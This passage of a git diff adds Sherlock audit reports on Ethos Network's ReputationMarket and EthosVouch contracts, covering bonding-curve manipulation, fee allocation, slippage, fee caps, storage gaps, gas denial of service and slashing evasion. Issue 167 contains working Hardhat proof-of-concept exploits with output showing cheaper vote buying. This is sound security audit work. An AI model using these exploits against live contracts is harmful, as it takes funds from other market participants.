= 0.00001 ETH for the `entryVouchersPoolFee` and after that increase the vouch by 10 ETH - 0.0001 = 9.9999 ETH. +4. Now the voucher will be allocated 50% of the `entryVouchersPoolFee` as they own 50% of the total vouches, thus they will have to pay only 5% of 9.9999 = 0.499995 ETH. +5. Essentially, instead of paying 1 ETH for the `entryVouchersPoolFee` they only pay 0.499995 + 0.00001 = 0.500005 ETH, which is half of what they should actually pay + +### Impact + +Vouchers can decrease the fees they have to pay. + +### PoC + +_No response_ + +### Mitigation + +Do not allocate a portion of the `entryVouchersPoolFee` to a profile if it is the same as the profile of the voucher. \ No newline at end of file diff --git a/167.md b/167.md new file mode 100644 index 0000000..9b554c5 --- /dev/null +++ b/167.md @@ -0,0 +1,372 @@ +Overt Alabaster Cottonmouth + +High + +# Bonding curve logic can be exploited to pay less for buying votes + +## Description & Impact +The [_calcVotePrice()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923) function uses the following bonding curve formula: +```js + File: ethos/packages/contracts/contracts/ReputationMarket.sol + + 912: /** + 913: * @notice Calculates the buy or sell price for votes based on market state + 914:@---> * @dev Uses bonding curve formula: price = (votes * basePrice) / totalVotes + 915: * Markets are double sided, so the price of trust and distrust votes always sum to the base price + 916: * @param market The market state to calculate price for + 917: * @param isPositive Whether to calculate trust (true) or distrust (false) vote price + 918: * @return The calculated vote price + 919: */ + 920: function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + 921: uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + 922: return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + 923: } +``` +This can be manipulated in the following ways: + +**_Example1:_** ( _coded in PoC1_ ) +- Normal Scenario: + - For a default market config, Alice decides to buy some trust votes. + - She calls `buyVotes()` with `0.1 ETH` of funds. + - This fetches her 12 trust votes and costs exactly `0.098439322450225045 ETH`. + +- Attack Scenario: + - For a default market config, Alice decides to buy 12 trust votes. + - She decides to alternate her `buyVotes()` call between 1 trust vote and 1 distrust vote. + - She repeats this 12 times. + - She sells all her distrust votes at the end. + - She ends up paying `0.079440616542537061 ETH`, which is `≈ 0.02 ETH` lesser than the normal scenario. +
+ +In fact in general, if Alice wishes to buy a higher-priced vote then it works in her favour to buy the lower-priced one first to make the vote ratio 1:1. At the end, this lower-priced purchase can be sold off for a net gain. + +**_Example2:_** ( _coded in PoC2_ ) +- Normal Scenario: + - For a default market config, Bob is sitting with 99 trust votes he bought a few moments ago. + - Alice wants to buy 100 trust votes. She calls `buyVotes()` with `1 ETH` of funds. + - This fetches her 100 trust votes and costs exactly `0.993452851893538135 ETH`. + +- Attack Scenario: + - For a default market config, Bob is sitting with 99 trust votes he bought a few moments ago. + - Alice wants to buy 100 trust votes. + - She first buys 99 distrust votes. + - She now buys the 100 trust votes. + - She then sells all her distrust votes. + - She ends up paying `0.711616420426520863 ETH`, which is `≈ 0.28 ETH` lesser than the normal scenario. + +## Proof of Concept +
+ +PoC1 + + +Add this file as `rep.bondingCurveManipulation.test.ts` inside the `ethos/packages/contracts/test/reputationMarket/` directory and run with `npm run hardhat -- test --grep "BuyVotes Cost Manipulation"` to see the output: +```js +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect } from 'chai'; +import hre from 'hardhat'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { DEFAULT, MarketUser } from './utils.js'; + +const { ethers } = hre; + +describe('BuyVotes Cost Manipulation', () => { + let deployer: EthosDeployer; + let ethosUserA: EthosUser; + let alice: MarketUser; + let reputationMarket: ReputationMarket; + let market: ReputationMarket.MarketInfoStructOutput; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + ethosUserA = await deployer.createUser(); + await ethosUserA.setBalance('100'); + + alice = new MarketUser(ethosUserA.signer); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = ethosUserA.profileId; + await reputationMarket + .connect(deployer.ADMIN) + .setUserAllowedToCreateMarket(DEFAULT.profileId, true); + await reputationMarket.connect(alice.signer).createMarket({ value: ethers.parseEther('0.02') }); + market = await reputationMarket.getMarket(DEFAULT.profileId); + expect(market.profileId).to.equal(DEFAULT.profileId); + expect(market.trustVotes).to.equal(1); + expect(market.distrustVotes).to.equal(1); + }); + + it('Normal Buy', async () => { + // Record initial state + const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId); + expect(initialMarket.trustVotes).to.equal(1n); + expect(initialMarket.distrustVotes).to.equal(1n); + + // Record Alice's balance initially + const aliceBalanceBefore = await ethosUserA.getBalance(); + + // Alice buys trust votes + const aliceInvestment = ethers.parseEther('0.1'); + await alice.buyVotes({ + buyAmount: aliceInvestment, + expectedVotes: 12n, // We know this from simulation + slippageBasisPoints: 0 // 0% slippage allowed + }); + + // Verify Alice's position + const alicePosition = await alice.getVotes(); + console.log("\n"); + console.log("votes position (TRUST) =", alicePosition.trustVotes); + expect(alicePosition.trustVotes).to.equal(12n); + expect(alicePosition.distrustVotes).to.equal(0n); + + // Record Alice's balance now + const aliceBalanceAfter = await ethosUserA.getBalance(); + + // Log the total cost to Alice + console.log('Cost1:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH'); + }); + + it('Malicious Buy', async () => { + // Record initial state + const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId); + expect(initialMarket.trustVotes).to.equal(1n); + expect(initialMarket.distrustVotes).to.equal(1n); + + // Record Alice's balance initially + const aliceBalanceBefore = await ethosUserA.getBalance(); + + const bP = ethers.parseEther('0.01'); + let tV = 1n; + let dV = 1n; + let aliceInvestment; + for(let i = 0; i < 12; i++) { + // Alice buys trust votes + aliceInvestment = (tV * bP) / (tV + dV); + await alice.buyVotes({ + isPositive: true, // trust votes + buyAmount: aliceInvestment, + expectedVotes: 1n, // We know this from simulation + slippageBasisPoints: 0 // 0% slippage allowed + }); + expect((await alice.getVotes()).trustVotes).to.equal(tV); + tV++; + + if (i == 11) continue; // no need to manipulate further, 12 trust votes have been bought + // Alice buys distrust votes + aliceInvestment = (dV * bP) / (tV + dV); + await alice.buyVotes({ + isPositive: false, // distrust votes + buyAmount: aliceInvestment, + expectedVotes: 1n, + slippageBasisPoints: 0 + }); + expect((await alice.getVotes()).distrustVotes).to.equal(dV); + dV++; + } + + // Verify Alice's position + const alicePosition = await alice.getVotes(); + console.log("\n\n"); + console.log("votes position (TRUST) =", alicePosition.trustVotes); + + // Alice sells all her distrust votes + await reputationMarket + .connect(alice.signer) + .sellVotes(DEFAULT.profileId, false, alicePosition.distrustVotes); + expect((await alice.getVotes()).distrustVotes).to.equal(0); + + // Record Alice's balance now + const aliceBalanceAfter = await ethosUserA.getBalance(); + + // Log the total cost to Alice + console.log('Cost2:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH'); + }); +}); +``` + +
+ +Output: +```text + BuyVotes Cost Manipulation + + +votes position (TRUST) = 12n +Cost1: 0.098439322450225045 ETH + ✔ Normal Buy + + + +votes position (TRUST) = 12n +Cost2: 0.079440616542537061 ETH + ✔ Malicious Buy (1125ms) + + + 2 passing (5s) +``` +
+
+ +
+ +PoC2 + + +Add this file as `rep.bondingCurveManipulated.test.ts` inside the `ethos/packages/contracts/test/reputationMarket/` directory and run with `npm run hardhat -- test --grep "t0x1c Buy n Sell"` to see the output: +```js +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect } from 'chai'; +import hre from 'hardhat'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { DEFAULT, MarketUser } from './utils.js'; + +const { ethers } = hre; + +describe('t0x1c Buy n Sell', () => { + let deployer: EthosDeployer; + let ethosUserA: EthosUser; + let ethosUserB: EthosUser; + let alice: MarketUser; + let bob: MarketUser; + let reputationMarket: ReputationMarket; + let market: ReputationMarket.MarketInfoStructOutput; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + ethosUserA = await deployer.createUser(); + await ethosUserA.setBalance('100'); + ethosUserB = await deployer.createUser(); + await ethosUserB.setBalance('100'); + + alice = new MarketUser(ethosUserA.signer); + bob = new MarketUser(ethosUserB.signer); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = ethosUserA.profileId; + await reputationMarket + .connect(deployer.ADMIN) + .setUserAllowedToCreateMarket(DEFAULT.profileId, true); + await reputationMarket.connect(alice.signer).createMarket({ value: ethers.parseEther('0.02') }); + market = await reputationMarket.getMarket(DEFAULT.profileId); + expect(market.profileId).to.equal(DEFAULT.profileId); + expect(market.trustVotes).to.equal(1); + expect(market.distrustVotes).to.equal(1); + }); + + it('Buy and Sell - normal', async () => { + // Record initial state + const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId); + expect(initialMarket.trustVotes).to.equal(1n); + expect(initialMarket.distrustVotes).to.equal(1n); + + // Bob buys 99 trust votes + await bob.buyVotes({ + isPositive: true, // trust votes + buyAmount: ethers.parseEther('0.95'), + expectedVotes: 99n, + slippageBasisPoints: 0 // 0% slippage allowed + }); + expect((await bob.getVotes()).trustVotes).to.equal(99); + + const aliceBalanceBefore = await ethosUserA.getBalance(); + // Alice buys 100 trust votes + await alice.buyVotes({ + isPositive: true, // trust votes + buyAmount: ethers.parseEther('1.0'), + expectedVotes: 100n, + slippageBasisPoints: 0 // 0% slippage allowed + }); + expect((await alice.getVotes()).trustVotes).to.equal(100); + const aliceBalanceAfter = await ethosUserA.getBalance(); + + // Log the total cost to Alice + console.log('\n\nCost_1:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH'); + }); + + it('Buy and Sell - malicious', async () => { + // Record initial state + const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId); + expect(initialMarket.trustVotes).to.equal(1n); + expect(initialMarket.distrustVotes).to.equal(1n); + + // Bob buys 99 trust votes + await bob.buyVotes({ + isPositive: true, // trust votes + buyAmount: ethers.parseEther('0.95'), + expectedVotes: 99n, + slippageBasisPoints: 0 // 0% slippage allowed + }); + expect((await bob.getVotes()).trustVotes).to.equal(99); + + const aliceBalanceBefore = await ethosUserA.getBalance(); + // Alice first buys 99 distrust votes + await alice.buyVotes({ + isPositive: false, // distrust votes + buyAmount: ethers.parseEther('0.305'), + expectedVotes: 99n, + slippageBasisPoints: 0 // 0% slippage allowed + }); + expect((await alice.getVotes()).distrustVotes).to.equal(99); + + // Alice then buys 100 trust votes + await alice.buyVotes({ + isPositive: true, // trust votes + buyAmount: ethers.parseEther('0.595'), + expectedVotes: 100n, + slippageBasisPoints: 0 // 0% slippage allowed + }); + expect((await alice.getVotes()).trustVotes).to.equal(100); + + // Alice sells all her distrust votes + await reputationMarket + .connect(alice.signer) + .sellVotes(DEFAULT.profileId, false, (await alice.getVotes()).distrustVotes); + expect((await alice.getVotes()).distrustVotes).to.equal(0); + + expect((await alice.getVotes()).trustVotes).to.equal(100); + + // Record Alice's balance now + const aliceBalanceAfter = await ethosUserA.getBalance(); + + // Log the total cost to Alice + console.log('\n\nCost_2:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH'); + }); +}); +``` + +
+ +Output: +```text + t0x1c Buy n Sell + + +Cost_1: 0.993452851893538135 ETH + ✔ Buy and Sell - normal (87ms) + + +Cost_2: 0.711616420426520863 ETH + ✔ Buy and Sell - malicious (279ms) + + + 2 passing (5s) +``` +
+ +## Mitigation +It would be advisable to introduce a time delay between any consecutive calls to buy or sell votes by the same address. This would ensure price manipulation can't happen in the same block, thus mitigating the attack. \ No newline at end of file diff --git a/168.md b/168.md new file mode 100644 index 0000000..1783fce --- /dev/null +++ b/168.md @@ -0,0 +1,168 @@ +Dazzling Pearl Capybara + +Medium + +# Authors cannot withdrawal rewards leading to failure of slash and reward allocation + +### Summary + +The EthosVouch contract's reward withdrawal mechanism forces guarantors to cancel their guarantees (`unvouch`) to claim rewards, as no independent `rewards` mapping storage exists. This design couples rewards with guarantee states, leading to unnecessary cancellations, obsolete `vouches`, and increased gas costs during mapping traversals. Exploitable vulnerabilities such as storage inflation and repeated `unvouch` loops further exacerbate system inefficiencies and failure in slash and reward allocation. Mitigating this issue requires decoupling rewards from staking balances, enabling guarantors to claim rewards independently while optimizing storage and gas usage. + +### Root Cause + +The reward withdrawal mechanism in the EthosVouch contract is tightly coupled with the guarantee state. As a result, guarantors (authors) can only withdraw their rewards by calling the `unvouch` function, which cancels their guarantee. This design forces guarantors to `unvouch` in order to claim their rewards, leading to a buildup of obsolete vouches in the `vouches` mapping. Over time, this increases the gas cost of traversing the `vouches` mapping, potentially causing transactions to fail due to excessive gas consumption. + +### **Relevant Code Snippets** + +**Reward Distribution Coupled with Guarantees** +[ethos/packages/contracts/contracts/EthosVouch.sol:_rewardPreviousVouchers#L727](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L727C1-L727C35) +```solidity +/** + * @notice Distributes rewards to previous vouchers proportionally based on their current balance + * @param amount The amount to distribute as rewards + * @param subjectProfileId The profile ID whose vouchers will receive rewards + */ +function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId +) internal returns (uint256 amountDistributed) { + ... + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } + ... +} +``` + +**Reward Assignment to `voucher.balance`** +[ethos/packages/contracts/contracts/EthosVouch.sol:applyFees#L949](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L949C1-L949C86) +```solidity +function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId +) internal returns (uint256 toDeposit, uint256 totalFees) { + ... + if (vouchersPoolFee > 0) { + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + ... +} +``` + +**ClaimRewards Isolated for Subjects** +[ethos/packages/contracts/contracts/EthosVouch.sol:claimRewards#L677-L681](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L677C1-L681C61) +```solidity +function claimRewards() external whenNotPaused nonReentrant { + ... + uint256 amount = rewards[callerProfileId]; + if (amount == 0) revert InsufficientRewardsBalance(); + + rewards[callerProfileId] = 0; + (bool success, ) = msg.sender.call{ value: amount }(""); + ... +} +``` + + + +### Internal pre-conditions + +1. **Fee Application:** + The `applyFees` function distributes a portion of fees (vouchers pool fee) to guarantors based on their vouch balance. Early guarantors receive a larger share. + +2. **Reward Storage:** + Rewards for guarantors are stored directly in their `voucher.balance`, unlike the `rewards` mapping used for subjects. This prevents rewards from being withdrawn independently. + +3. **Forced Withdrawal:** + Guarantors must use `unvouch` to withdraw their rewards. This increases obsolete `vouches` entries, leading to: + - High gas costs when traversing `vouches`. + - Lost first-mover advantage for rewards due to repeated re-vouching. + +### External pre-conditions + +1. **User Conditions:** + - The user must be a guarantor. + - The guarantee must be active. + - Unclaimed rewards must exist. + +2. **Network Conditions:** + - The contract must not be paused. + - Gas prices should be reasonable. + +### Attack Path + +1. **Storage Inflation Attack** + Attackers create excessive, low-value guarantees, bloating the `vouches` mapping. + ```solidity + for (uint i = 0; i < MAX_VOUCHES; i++) { + vouch(targetProfile, MINIMUM_AMOUNT); + } + ``` + +2. **Forced Reward Withdrawal** + Users repeatedly `unvouch` to claim rewards, then immediately re-vouch. + ```solidity + function extractRewards() { + unvouch(vouchId); // Withdraw rewards + vouch(targetProfile, amount); // Re-vouch + } + ``` + +3. **Gas-Intensive Traversal** + Traversing bloated `vouches` consumes excessive gas, increasing failure risk. + ```solidity + for (uint i = 0; i < vouches.length; i++) { + // Iterate over vouches + } + ``` + +### Impact + +**Technical Impact** + - Increased gas costs. + - failure in Slash and reward allocation + + +### PoC + +```solidity +contract EthosVouchTest { + function testStorageInflation() public { + EthosVouch vouch = new EthosVouch(); + + // Create multiple guarantees + for (uint i = 0; i < 100; i++) { + vouch.vouchByProfileId{value: 0.1 ether}( + targetProfileId, + "", + "" + ); + } + + // Accumulate rewards + // Wait for other users to generate rewards + + // Calculate storage cost + uint gasCost = 0; + for (uint i = 0; i < vouch.vouchCount(); i++) { + gasCost += gasCostToAccessVouch(i); + } + + assert(gasCost > THRESHOLD); + } +} +``` + +### Mitigation + +**Separate Reward Mechanism** +Decouple rewards from the guarantee balance by storing them in a separate mapping or allowing users to choose between storing rewards and staking balances separately. \ No newline at end of file diff --git a/169.md b/169.md new file mode 100644 index 0000000..440f73a --- /dev/null +++ b/169.md @@ -0,0 +1,89 @@ +Skinny Saffron Guppy + +Medium + +# No slippage check in `sellVotes` can cause users to receive less ETH than expected. + +### Summary + +`ReputationMarket.sellVotes` should have a slippage check to avoid unnecessary fund loss. + +### Root Cause + +In [sellVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495). When the user submits a transaction the price of 1 vote is 0.5ETH, and Here the user is expecting 0.5 ETH in return but if there is some other transaction in mempool that is selling the vote, it decreases the price of 1 vote to 0.1 ETH, Now after this transaction user will now only receive 0.1 ETH instead of 0.5 for their 1 vote. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495C1-L534C4 + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } + +``` + +Note this is not a frontrunning attack(it is not possible in base) but this is a race condition scenario which will lead to the loss for the seller eventually. + +### Internal pre-conditions + +none + +### External pre-conditions + + mempool should have multiple sell orders(which is very likely). + +### Attack Path + +1. The user calls `sellVotes`function to sell 1 vote at 0.5 ETH. +2. There is already a sellVotes transaction in the mempool. +3. The first transaction modifies the price of 1 vote to 0.1 ETH. +4. user transaction gets executed +5. user receives 0.1 ETH instead of 0.5 ETH. + +### Impact + +Because the user doesn’t have full control of his transaction he may not receive what he desired. + +### PoC + +none + +### Mitigation + +add `minAmountOut` as a param to the function and check it against `fundsReceived`, if minAmountOur is less than fundsReceived then revert. \ No newline at end of file diff --git a/170.md b/170.md new file mode 100644 index 0000000..bd33898 --- /dev/null +++ b/170.md @@ -0,0 +1,107 @@ +Slow Tan Swallow + +Medium + +# ReputationMarket's max fees are 15% instead of 10% + +### Summary + +The README clearly states that the max fees for both contracts should be 10%. + +>For both contracts: +> - Maximum total fees cannot exceed 10% + +However that is clearly not the case for `ReputationMarket` as it's max fees can be set to 15%. That is possible as both entry and exit fees are checked for not to be bigger than 5% each, but at the same time donation fee is also checked for not to be bigger than 5%. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L89-L90 +```solidity + uint256 private constant MAX_PROTOCOL_FEE_BASIS_POINTS = 500; // 5% + uint256 private constant MAX_DONATION_BASIS_POINTS = 500; // 5% +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L593-L624 +```solidity + function setEntryProtocolFeeBasisPoints(uint256 basisPoints) public onlyAdmin whenNotPaused { + if (protocolFeeAddress == address(0)) revert ZeroAddress(); + if (basisPoints > MAX_PROTOCOL_FEE_BASIS_POINTS) { + revert InvalidMarketConfigOption("Fee exceeds maximum"); + } + entryProtocolFeeBasisPoints = basisPoints; + } + + function setExitProtocolFeeBasisPoints(uint256 basisPoints) public onlyAdmin whenNotPaused { + if (protocolFeeAddress == address(0)) revert ZeroAddress(); + if (basisPoints > MAX_PROTOCOL_FEE_BASIS_POINTS) { + revert InvalidMarketConfigOption("Fee exceeds maximum"); + } + exitProtocolFeeBasisPoints = basisPoints; + } + + function setDonationBasisPoints(uint256 basisPoints) public onlyAdmin whenNotPaused { + if (basisPoints > MAX_DONATION_BASIS_POINTS) { + revert InvalidMarketConfigOption("Donation exceeds maximum"); + } + donationBasisPoints = basisPoints; + } +``` + +If all fees are set to their max, the new total will be 15% - 5% entry, 5% exit and 5% donation. + +### Root Cause + +3 different fees, each allowing max 5% on their own, resulting in `3 * 5% = 15%` total fees + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Even though these fees are set by an admin, the current system wants to be transparent to it's users when it comes to fees (else these checks would not have been there). As so they have requested in the README for both contracts to be verified that their max total fees are 10%. + +> For both contracts: +> - Maximum total fees cannot exceed 10% + +Also this vitiates the README. + +### PoC + +_No response_ + +### Mitigation + +Just as in `EthosVouch` verify that all of the fees combined do not surpass the max allowed. Consider adding the following code and changing the functions. + +```solidity + uint256 public constant MAX_TOTAL_FEES = 1000; + + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = + entryProtocolFeeBasisPoints + exitProtocolFeeBasisPoints + donationBasisPoints + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +Example for `setDonationBasisPoints` +```diff + function setDonationBasisPoints(uint256 basisPoints) public onlyAdmin whenNotPaused { + if (basisPoints > MAX_DONATION_BASIS_POINTS) { + revert InvalidMarketConfigOption("Donation exceeds maximum"); + } ++ checkFeeExceedsMaximum(donationBasisPoints, basisPoints); + donationBasisPoints = basisPoints; + } + +``` \ No newline at end of file diff --git a/171.md b/171.md new file mode 100644 index 0000000..8da8aa4 --- /dev/null +++ b/171.md @@ -0,0 +1,54 @@ +Slow Tan Swallow + +Medium + +# `AccessControl` lacks any storage gaps, meaning that if any of the contracts are upgraded it can cause storage collision + +### Summary + +`AccessControl` used inside both [EthosVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) and [ReputationMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) in order to reduce the complexity inside these contracts, by handling all the owner/admin functions (pause, unpause, upgrade, so on...). + +This contract has 1 storage slot allocated to it: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L34 +```solidity + constructor() { + _disableInitializers(); + } + + bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); + bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); + + IContractAddressManager public contractAddressManager; +``` + +The issue we face here is that `AccessControl` has active storage and is part of the whole system, which is upgradable. Meaning that if any storage variables are added to `AccessControl` it will cause a storage collision across both `EthosVouch` and `ReputationMarket`. + +### Root Cause + +`AccessControl` being upgradable and having storage while it has not implemented any gap measure. + +### Internal pre-conditions + +1. Upgrade is planned +2. 1 storage variable is added to `AccessControl` to track something related to owner/admins +3. upgrade is executed causing storage collision in both `EthosVouch` and `ReputationMarket` possibly resulting in both contract being bricked + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The whole system being bricked due to a storage collision. + +### PoC + +_No response_ + +### Mitigation + +Consider adding a `uint256 gap[50]` in order to allow any future upgrades without causing storage collisions. \ No newline at end of file diff --git a/172.md b/172.md new file mode 100644 index 0000000..7ab9602 --- /dev/null +++ b/172.md @@ -0,0 +1,66 @@ +Original Boysenberry Hare + +Medium + +# User Unable to Vouch for a Profile or Increase Vouch Balance Due to Potential DoS + + +## Description + +**Context:** + +Users [vouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L415) for profiles to signal trustworthiness to others. In return, [vouchers receive fees as reward](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L739), whenever a new user vouches for the same profile. + +Vouchers cannot vouch for the same profile twice, but they can [increase the balance of their vouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444) if desired. When they do, previous vouchers are rewarded with a fee, similar to when a user vouches for a profile. + +It is important to note that the maximum number of vouches a profile can receive is [256](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L287). + +**Vulnerability Details:** + +As explained, whenever a user vouches or increases their vouch balance, previous vouchers of the profile are rewarded through the `_rewardPreviousVouchers()` function. + +This function uses two for loops: + +- The [first loop](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L705-L717) iterates through each vouch to track the total balance of active vouches that have not been unvouched. + +- The [second loop](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L720-L731) distributes rewards to each voucher. + +This implementation incurs significant gas costs because: + +- It involves iterating through a potentially large number of vouches (up to 2 * 256 iterations due to two for loops). + +- It performs expensive read/write operations many times in storage. + +This could result in a transaction reverting due to exceeding the block gas limit, especially when the profile being vouched for, already has a large number of associated vouches (e.g., near the maximum limit, which is 256 vouches). + + +## Impact + +**Damage:** Medium + +**Likelihood:** Medium + +**Details:** Users will be unable to vouch for a profile that already has many associated vouches. Additionally, users who have already vouched for a profile and want to increase their vouch balance by depositing more ETH, to indicate they have gained more trust in the profile, will also fail to do so. + +## Proof of Concept + +**Attack Path:** + +1. Suppose there is a profile with `250` vouchers associated with it. +2. A new user attempts to vouch for this profile by calling the `vouchByProfileId()` function. Inside this function, the internal [applyFees()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965) function is triggered, which handles fee distribution to the protocol, vouchee, and previous vouchers of the profile being vouched for. +3. The `applyFees()` function internally calls `_rewardPreviousVouchers()` function, to reward all previous vouchers of the profile. +4. Due to the large number of iterations (2 * 250 times, since there are two for loops) and the read/write operations being performed on storage, the transaction exceeds the gas limit, causing the `vouchByProfileId()` function call to revert and the user being unable to vouch for the desired profile. + +**POC:** + +- Not Needed + +## Recommended Mitigation + +The mechanism for rewarding previous vouchers of a profile should be completely redesigned. + +My recommendation would be: + +- Track the total accumulated fees (collected when users vouch or increase their vouch balance) in a separate state variable. + +- Implement a time-based rewards system where vouchers who have supported the profile (by vouching) for a longer duration compared to others, receive a larger portion of the total accumulated fees. Newer vouchers, or those for whom not much time has passed since the time they initiated to vouch, receive a smaller portion of the total fees. \ No newline at end of file diff --git a/173.md b/173.md new file mode 100644 index 0000000..e5b97ca --- /dev/null +++ b/173.md @@ -0,0 +1,88 @@ +Slow Tan Swallow + +High + +# Users can avoid slashing + +### Summary + +`EthosVouch` implements slashing, which are a form of punishment when a user misbehaves in any manner. When a user is slashed he looses up to 10% of all his vouches balance. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L528-L545 +```solidity + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } +``` + +Before anyone gets slashed there is a trial period to let the decision makers decide if the user should or should not be slashed. This is explain well in discord, while also stated in the [docs](https://whitepaper.ethos.network/ethos-mechanisms/slash) +> This accusation triggers a 24h lock on staking (and withdrawals) for the accused. + +However such users can leave the system during that period, as there is no such lock up period. The user can just call `unvouch` and take back his ETH before this time passes, thus essentially avoiding the slashing. + +Other methods, although harder would be to front-run the slash and escape just before it. + +### Root Cause + +User being able to leave whenever he wants when he is under his trial period. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + 